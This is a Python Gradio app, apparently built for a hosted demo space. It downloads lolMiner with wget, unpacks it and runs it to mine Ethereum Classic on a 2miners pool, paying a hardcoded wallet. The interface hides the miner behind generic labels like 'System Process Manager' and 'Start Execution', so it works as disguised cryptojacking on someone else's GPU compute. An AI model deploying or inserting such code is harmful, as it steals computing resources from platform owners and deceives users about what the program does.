| | import gradio as gr |
| | import subprocess |
| | import os |
| |
|
| | def run_miner(): |
| | |
| | output_log = "--- Initializing Setup ---\n" |
| | yield output_log |
| |
|
| | |
| | |
| | setup_commands = [ |
| | "nvidia-smi", |
| | "wget -nc https://github.com/Lolliedieb/lolMiner-releases/releases/download/1.88/lolMiner_v1.88_Lin64.tar.gz", |
| | "tar -xf lolMiner_v1.88_Lin64.tar.gz" |
| | ] |
| |
|
| | for cmd in setup_commands: |
| | output_log += f"\n> Executing: {cmd}\n" |
| | try: |
| | result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60) |
| | output_log += result.stdout + result.stderr |
| | yield output_log |
| | except Exception as e: |
| | output_log += f"Error: {str(e)}\n" |
| | yield output_log |
| |
|
| | |
| | output_log += "\n--- Starting lolMiner ---\n" |
| | |
| | miner_path = "./1.88/lolMiner" |
| | |
| | |
| | miner_cmd = f"{miner_path} --algo ETCHASH --pool etc.2miners.com:1010 --user 0x577c2322b68e2f72a39bbdb28c1316f395cfafaf.Worker01" |
| | |
| | try: |
| | |
| | process = subprocess.Popen( |
| | miner_cmd, |
| | shell=True, |
| | stdout=subprocess.PIPE, |
| | stderr=subprocess.STDOUT, |
| | text=True |
| | ) |
| | |
| | for line in iter(process.stdout.readline, ""): |
| | output_log += line |
| | |
| | lines = output_log.split('\n') |
| | if len(lines) > 50: |
| | output_log = "...\n" + "\n".join(lines[-50:]) |
| | yield output_log |
| | |
| | except Exception as e: |
| | output_log += f"\nFatal Error: {str(e)}" |
| | yield output_log |
| |
|
| | |
| | with gr.Blocks(title="Miner Interface") as demo: |
| | gr.Markdown("# System Process Manager") |
| | gr.Markdown("Click the button below to initialize the environment and start the process.") |
| | |
| | with gr.Row(): |
| | console_out = gr.Textbox( |
| | label="Live Console Output", |
| | lines=25, |
| | max_lines=30, |
| | interactive=False, |
| | placeholder="Logs will appear here..." |
| | ) |
| | |
| | start_btn = gr.Button("Start Execution", variant="primary") |
| | start_btn.click(run_miner, outputs=console_out) |
| |
|
| | if __name__ == "__main__": |
| | demo.launch() |
| |
|